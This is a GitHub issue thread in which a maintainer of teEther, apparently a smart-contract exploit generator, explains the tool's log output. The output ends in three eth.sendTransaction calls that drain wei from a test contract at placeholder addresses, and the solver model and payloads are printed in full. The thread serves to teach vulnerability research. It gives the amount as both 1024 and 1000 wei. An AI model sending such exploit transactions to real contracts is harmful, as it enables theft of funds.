Closed Sunyangyang12 closed 3 years ago
Hi,
this is the output of a successful run of teEther :)
The relevant part are the bottom three lines. Sending these three transactions will exploit the target contract located at address 0x1000
and transfer 1024 (0x400
) wei to address 0x1234
:
eth.sendTransaction({from:"0x0000000000000000000000000000000000001234", data:"0x7cb97b2b0000000000000000000000000000000000000000000000000000000000001000", to:"0x0000000000000000000000000000000000001000", gasPrice:0})
eth.sendTransaction({from:"0x0000000000000000000000000000000000001234", data:"0x0129ab2700000000000000000000000000000000000000000000000000000000000012340000000000000000000000000000000000000000000000000000000000000400", to:"0x0000000000000000000000000000000000001000", gasPrice:0})
eth.sendTransaction({from:"0x0000000000000000000000000000000000001234", data:"0xa53a1adf95390e4914e95e05126d8fc3c166c043b1e2501cd75cc395d648a6e5aa96cb76", to:"0x0000000000000000000000000000000000001000", gasPrice:0})
Let me give you a breakdown of the entire log:
INFO:root:Finished all paths
INFO:root:Finished all paths
INFO:root:Finished all paths
INFO:root:Finished all paths
Log output generated during the CFG-reconstruction phase. Can usually be ignored, but for large contracts might yield some insights into why CFG reconstruction failed or is slow.
INFO:root:Found 1 CALL instructions
INFO:root:Finished all paths
INFO:root:CALL: ( 811) 32b: f1 -7 +1 = -6 CALL
INFO:root:Path: 0->d->41->4c->108->114->259->2b7->32b
teEther has determined that the contract contains one call instruction and will now try to find potentially exploitable paths. The first (and only) call instruction is located at offset 0x32b
, and teEther finds a potentially exploitable path through the listed offsets.
INFO:root:No DELEGATECALL instructions
INFO:root:No CALLCODE instructions
INFO:root:No SELFDESTRUCT instructions
The contract contains no other potentially exploitable instruction (no DELEGATECALL
, no CALLCODE
, and no SELFDESTRUCT
)
INFO:root:Found 3 RETURN and STOP instructions
INFO:root:End: ( 196) c4: f3 -2 +0 = -2 RETURN
INFO:root:Path: 0->d->5c->68->139->a7->c4
INFO:root:End: ( 263) 107: 00 -0 +0 = 0 STOP
INFO:root:Path: 0->d->41->c5->d1->215->106->107
INFO:root:Calling contract 1461501637330902918203684832716283019655932542975 &
1461501637330902918203684832716283019655932542975 &
UDiv(STORAGE_3[SHA3_6c_3], 1) (148_3)
INFO:root:End: ( 312) 138: 00 -0 +0 = 0 STOP
INFO:root:Path: 0->d->41->4c->108->114->259->2b7->341->137->138
Next to exploitable instructions, teEther also looks for paths that can affect the state of a contract via storage modifications. The first line here shows that the contract has three exit-points, so next teEther will start looking for paths leading to those: First at the RETURN
instruction at offset 0xc4
, for which it finds one path that modifies state, then at the STOP
instruction at offset 0x107
, for which it also finds one path, and lastly at another STOP
instruction at offset 0x138
, for which it also finds one path. In the middle, one of the checked paths contained a nested call to another contract. Since teEther cannot currently handle nested calls, this info is also logged.
INFO:root:All ends: [<teether.evm.results.SymbolicResult object at 0x7f8083af8208>, <teether.evm.results.SymbolicResult object at 0x7f8083b1b080>, <teether.evm.results.SymbolicResult object at 0x7f8083ca9c88>]
This concludes the path exploration phase, and teEther again summarizes that it found three state-modifying paths. Next, it will attempt to combine state-modifying paths with the potentially exploitable path(s) from above.
[ORIGIN_1 = 4660,
CALLVALUE_5 = 0,
CALLER_1 = 4096,
CALLER_0 = 4096,
SHA3_62_1 = 67495423316326269102149902561478005917736473239982871333921089082850417232758,
SHA3_6c_0 = 16703139457703985838520824391610775660701574451286572879113121969590717467345,
CALLVALUE_1 = 0,
CALLVALUE_0 = 0,
CALLER_5 = 4096,
CALLDATASIZE_1 = 68,
CALLDATA_1 = Store(Store(Store(Store(Store(Store(Store(K(BitVec(256),
0),
3,
39),
35,
52),
0,
1),
66,
4),
2,
171),
34,
18),
1,
41),
CALLDATASIZE_0 = 36,
BALANCE_5 = 26213023705161793537,
CALLDATA_0 = Store(Store(Store(Store(Store(Store(Store(Store(Store(Store(Store(Store(Store(Store(Store(Store(Store(Store(Store(Store(Store(...,
...,
...),
8,
20),
7,
73),
20,
177),
30,
166),
22,
80),
12,
18),
2,
26),
34,
203),
28,
214),
25,
92),
23,
28),
16,
193),
27,
149),
29,
72),
11,
5),
6,
14),
21,
226),
9,
233),
1,
58),
5,
57),
CALLDATA_5 = Store(Store(Store(Store(Store(K(BitVec(256),
0),
3,
43),
2,
123),
34,
16),
0,
124),
1,
185),
ORIGIN_0 = 4660,
ORIGIN_5 = 4660,
CALLDATASIZE_5 = 36]
This large blob shows the z3 model of the final exploit. It's very verbose, but the fact that a valid model could be generated already shows that an exploit is possible.
0: 0->c->d->41->c5->d1->215->106->107
1: 0->c->d->5c->68->139->a7->c4
2: 0->c->d->41->4c->108->114->259->2b7->32b
These three lines show which paths make up the exploit: The final exploit needs three transactions: First a path to 0x107
, then a path to 0xc4
, and finally a path to 0x32b
.
[{'value': 0, 'caller': 4096, 'origin': 4660, 'payload': b'|\xb9{+\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00'}, {'origin': 4660, 'caller': 4096, 'value': 0, 'payload': b"\x01)\xab'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x124\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00"}, {'caller': 4096, 'value': 0, 'origin': 4660, 'payload': b'\xa5:\x1a\xdf\x959\x0eI\x14\xe9^\x05\x12m\x8f\xc3\xc1f\xc0C\xb1\xe2P\x1c\xd7\\xc3\x95\xd6H\xa6\xe5\xaa\x96\xcbv'}]
The next line lists information about the transactions as a python array, with each transaction modelled as a python dict
.
eth.sendTransaction({from:"0x0000000000000000000000000000000000001234", data:"0x7cb97b2b0000000000000000000000000000000000000000000000000000000000001000", to:"0x0000000000000000000000000000000000001000", gasPrice:0})
eth.sendTransaction({from:"0x0000000000000000000000000000000000001234", data:"0x0129ab2700000000000000000000000000000000000000000000000000000000000012340000000000000000000000000000000000000000000000000000000000000400", to:"0x0000000000000000000000000000000000001000", gasPrice:0})
eth.sendTransaction({from:"0x0000000000000000000000000000000000001234", data:"0xa53a1adf95390e4914e95e05126d8fc3c166c043b1e2501cd75cc395d648a6e5aa96cb76", to:"0x0000000000000000000000000000000000001000", gasPrice:0})
The last three lines list the required exploit transactions as web3 calls. If you have a test chain set up with the target contract at address 0x1000
and an attacker account at address 0x1234
, then pasting these into the javascript-console should result in an exploit that transfers 1000 wei to the attacker.
Thank you for your reply. Your explanation was so comprehensive, and it helped me a lot.
Hi, Can you explain what these results show , I don't know how to analyze based on the results. Thank you very much.
INFO:root:Finished all paths INFO:root:Finished all paths INFO:root:Finished all paths INFO:root:Finished all paths INFO:root:Found 1 CALL instructions INFO:root:Finished all paths INFO:root:CALL: ( 811) 32b: f1 -7 +1 = -6 CALL INFO:root:Path: 0->d->41->4c->108->114->259->2b7->32b INFO:root:No DELEGATECALL instructions INFO:root:No CALLCODE instructions INFO:root:No SELFDESTRUCT instructions INFO:root:Found 3 RETURN and STOP instructions INFO:root:End: ( 196) c4: f3 -2 +0 = -2 RETURN INFO:root:Path: 0->d->5c->68->139->a7->c4 INFO:root:End: ( 263) 107: 00 -0 +0 = 0 STOP INFO:root:Path: 0->d->41->c5->d1->215->106->107 INFO:root:Calling contract 1461501637330902918203684832716283019655932542975 & 1461501637330902918203684832716283019655932542975 & UDiv(STORAGE_3[SHA3_6c_3], 1) (148_3) INFO:root:End: ( 312) 138: 00 -0 +0 = 0 STOP INFO:root:Path: 0->d->41->4c->108->114->259->2b7->341->137->138 INFO:root:All ends: [<teether.evm.results.SymbolicResult object at 0x7f8083af8208>, <teether.evm.results.SymbolicResult object at 0x7f8083b1b080>, <teether.evm.results.SymbolicResult object at 0x7f8083ca9c88>] [ORIGIN_1 = 4660, CALLVALUE_5 = 0, CALLER_1 = 4096, CALLER_0 = 4096, SHA3_62_1 = 67495423316326269102149902561478005917736473239982871333921089082850417232758, SHA3_6c_0 = 16703139457703985838520824391610775660701574451286572879113121969590717467345, CALLVALUE_1 = 0, CALLVALUE_0 = 0, CALLER_5 = 4096, CALLDATASIZE_1 = 68, CALLDATA_1 = Store(Store(Store(Store(Store(Store(Store(K(BitVec(256), 0), 3, 39), 35, 52), 0, 1), 66, 4), 2, 171), 34, 18), 1, 41), CALLDATASIZE_0 = 36, BALANCE_5 = 26213023705161793537, CALLDATA_0 = Store(Store(Store(Store(Store(Store(Store(Store(Store(Store(Store(Store(Store(Store(Store(Store(Store(Store(Store(Store(Store(..., ..., ...), 8, 20), 7, 73), 20, 177), 30, 166), 22, 80), 12, 18), 2, 26), 34, 203), 28, 214), 25, 92), 23, 28), 16, 193), 27, 149), 29, 72), 11, 5), 6, 14), 21, 226), 9, 233), 1, 58), 5, 57), CALLDATA_5 = Store(Store(Store(Store(Store(K(BitVec(256), 0), 3, 43), 2, 123), 34, 16), 0, 124), 1, 185), ORIGIN_0 = 4660, ORIGIN_5 = 4660, CALLDATASIZE_5 = 36] 0: 0->c->d->41->c5->d1->215->106->107 1: 0->c->d->5c->68->139->a7->c4 2: 0->c->d->41->4c->108->114->259->2b7->32b [{'value': 0, 'caller': 4096, 'origin': 4660, 'payload': b'|\xb9{+\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00'}, {'origin': 4660, 'caller': 4096, 'value': 0, 'payload': b"\x01)\xab'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x124\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00"}, {'caller': 4096, 'value': 0, 'origin': 4660, 'payload': b'\xa5:\x1a\xdf\x959\x0eI\x14\xe9^\x05\x12m\x8f\xc3\xc1f\xc0C\xb1\xe2P\x1c\xd7\\xc3\x95\xd6H\xa6\xe5\xaa\x96\xcbv'}] eth.sendTransaction({from:"0x0000000000000000000000000000000000001234", data:"0x7cb97b2b0000000000000000000000000000000000000000000000000000000000001000", to:"0x0000000000000000000000000000000000001000", gasPrice:0}) eth.sendTransaction({from:"0x0000000000000000000000000000000000001234", data:"0x0129ab2700000000000000000000000000000000000000000000000000000000000012340000000000000000000000000000000000000000000000000000000000000400", to:"0x0000000000000000000000000000000000001000", gasPrice:0}) eth.sendTransaction({from:"0x0000000000000000000000000000000000001234", data:"0xa53a1adf95390e4914e95e05126d8fc3c166c043b1e2501cd75cc395d648a6e5aa96cb76", to:"0x0000000000000000000000000000000000001000", gasPrice:0})